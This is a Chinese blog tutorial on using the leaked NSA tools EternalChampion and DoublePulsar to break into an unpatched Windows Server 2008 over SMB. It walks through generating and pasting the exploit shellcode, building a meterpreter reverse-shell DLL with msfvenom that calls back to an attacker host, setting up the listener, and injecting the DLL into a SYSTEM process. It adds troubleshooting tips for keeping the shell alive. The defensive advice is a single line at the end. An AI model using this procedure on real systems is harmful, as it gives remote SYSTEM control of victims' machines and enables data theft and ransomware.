本文仅供实验性研究,请勿用于非法用途,出啥事我不负责。真的!别算我头上,我胆小害怕。
目前,某些特定版本的Windows 10也可以了,可以参见这个PR https://github.com/rapid7/metasploit-framework/pull/9473
话说几天之前WannaCry的爆发真是让EternalBlue又火了一番,不少学校、公司都中招了。可不,我的博客都蹭热度有了前所未有的800PV(还是UV)。
我想起来三个多星期之前曾经写过《EternalBlue+Doublepulsar+meterpreter渗透Windows》,EternalBlue使用几乎是没有门槛,但是有的时候会不支持某些特定的操作系统,此时就要使用其他的Eternal系列了,比如说EternalChampion。
但是在使用EternalChampion的时候,发现它需要ShellcodeBuffer
,如下图所示,按照常理讲,这玩意不应该运行了就啪啪啪植入后门了么?
ShellcodeBuffer :: DOPU Shellcode buffer
类似地,EternalRomance也需要Shellcode,不像EternalBlue那样直接一路回车就行了。
有些人的第一想法可能是用msf生成一个shellcode,然后在这里指定文件,但实际上这样做会似的目标机器蓝屏的,为啥,因为这玩意需要DOPU Shellcode
,DOPU是啥,哎,不就是DOublePUlsar吗?
所以,此次咱们就从SMB出发,看看能用上啥漏洞利用工具吧!
准备工作
此次配置环境和上篇差不多
攻击机1
带有漏洞利用工具集的XP,并且此次需要准备好WinHex, IP 172.26.97.35
攻击机2
Kali, IP 172.26.97.226
靶机
Windows Server 2008 SP1 x86, IP 202.X.X.X,已经开启445端口
开启FuzzBunch
不知道怎么运行FuzzBunch的,请参考我的上篇博文,操作方式和上次一样。TargetIP
写靶机IP 202.X.X.X,CallBack
写运行fb的IP,也就是172.26.97.35,不使用Redirection
使用smbtouch探测
use smbtouch execute
smbtouch会为我们探测出目标系统适用的漏洞利用程序
在这里我们可以看到,目标系统是32位的,EternalBlue和EternalSynergy不支持攻击靶机,EternalRomance无法攻击,只有EternalChampion可以。
使用Doublepulsar生成shellcode
smbtouch成功之后,我们使用Doublepulsar来生成shellcode
use Doublepulsar
我们一路回车默认,会发现多出来一个名为OutputInstall
的选项,选择这个
然后输入路径,比如说C:\shellcode.bin
,一路回车执行就会生成shellcode
将shellcode转换成HEX
由于EternalChampion需要的是ShellcodeBuffer
而不是ShellcodeFile
,所以这里我们需要将Doublepulsar生成的shellcode转换成十六进制;如果你用的是EternalRomance,那么应该用的是ShellcodeFile
,可以跨过此步
使用WinHex打开我们刚刚生成的shellcode.bin
,然后选择Edit-Copy All-Hex Values
,如下图所示:
使用EternalChampion进行攻击
现在shellcode已经在我们的剪贴板中了,我们就要使用EternalChampion来进行攻击了。
use EternalChampion
一路回车,在程序提示ShellcodeBuffer :: DOPU Shellcode buffer
时右键粘贴进那一堆十六进制,由于Shellcode比较长(4KB),所以可能会花几秒钟才会粘贴完。有人反应直接输入4096、50也行。
在之后我们一路回车默认,信息应该都是和目标系统相符的。在Mode :: Delivery mechanism
时像上次一样选择FB
之后程序会进行询问,我们回车就能够运行EternalChampion
啊哟, 赢了,金牌,NSA你们这群人真幽默……
注意:如果你是用的exploit需要Shellcode File
,那么这里直接输入shellcode的路径,本例中为C:\shellcode.bin
,推荐把shellcode放在根目录,据GitHub上某人的回复,如果放在某个目录下可能会导致exploit不认。
使用Doublepulsar注入恶意dll
在这之后,我们使用Doublepulsar注入恶意dll,和上次操作基本一致,这里我们就再复述下吧
但是在此之前,我想看看后门是否存在,那就Doublepulsar中的选择function: 1 ping
,就可以确定后门是否存在啦
好,咱还是生成恶意dll并用Doublepulsar注入吧!
msfvenom生成恶意dll
切换到Kali,此次就使用reverse_tcp
了
#32位操作系统,所以生成32位的dll msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.26.97.226 LPORT=8089 -f dll >badbad.dll #打开MetaSploit,开始监听;如果靶机是64位系统,自行更换 set PAYLOAD windows/meterpreter/reverse_tcp use exploit/multi/handler set LHOST 172.26.97.226 set LPORT 8089 run
之后将这个dll拷贝到XP中,使用Python创建个http服务器
python –m SimpleHTTPServer 80
拿起久违的IE,下载这个badbad.dll
文件
注入dll
use DoublePulsar
一路回车默认,只需要选择function 2 Run DLL
,输入我们的dll文件路径
然后最后直接运行,就会发现反弹成功,拿到权限了!
啊哟,执行不了meterpreter命令?
在一些情况下,我们可能会拿到meterpreter的会话,但是可能会发现执行不了啥命令,ping下不通了,猜测目标机器蓝屏了,那咋办呢?
等等直到ping通,然后再次运行EternalChampion攻击,它会记得我们输入的shellcode,所以一路回车,然后再次运行Doublepulsar,在程序提示ProcessName [lsass.exe]:
选择其他的以NT Authority\System
运行的进程名,比如说spoolsv.exe, SearchIndexer.exe, lsm.exe
,这就自己试试了。然后就应该不会蓝屏啦~
其实选择啥进程其实都是可以的,大不了运行meterpreter的时候migrate
到其他进程就可以了。
后记
EternalBlue支持的系统
通过查看xml文件能发现,有点奇怪,EternalBlue的配置文件中支持了这么多系统,但是有时却报告不支持。
Special?
大家能看到,EternalBlue和EternalChampion是在Windows\Specials
这个目录下,Special,足以看到这俩工具威力是多么巨大吧!真是可怕……
防范手段
安装SM17-010补丁,开启防火墙过滤445,关闭SMB服务。
spoolsv.exe, SearchIndexer.exe, lsm.exe
,或者随意选个进程然后migrate; 提示“您将要被注销”是因为Windows的一些关键进程、服务(由于我们注入dll)意外退出了,如果此时你拿到了shell,一分钟之内直接shutdown -a
也可以阻止关机; msfvenom的dll兼容性问题…我暂时没遇到过…PS,我文中有一块写错了,32位系统要用32位来监听。MetasSploit
就可以,但是要注意防火墙、安全组的问题;还有一点需要注意,有些靶机可能不连接外网(内部物理隔离的);最后监听配置写错这种低级错误就不用再说了吧!smbtouch
检测下吧。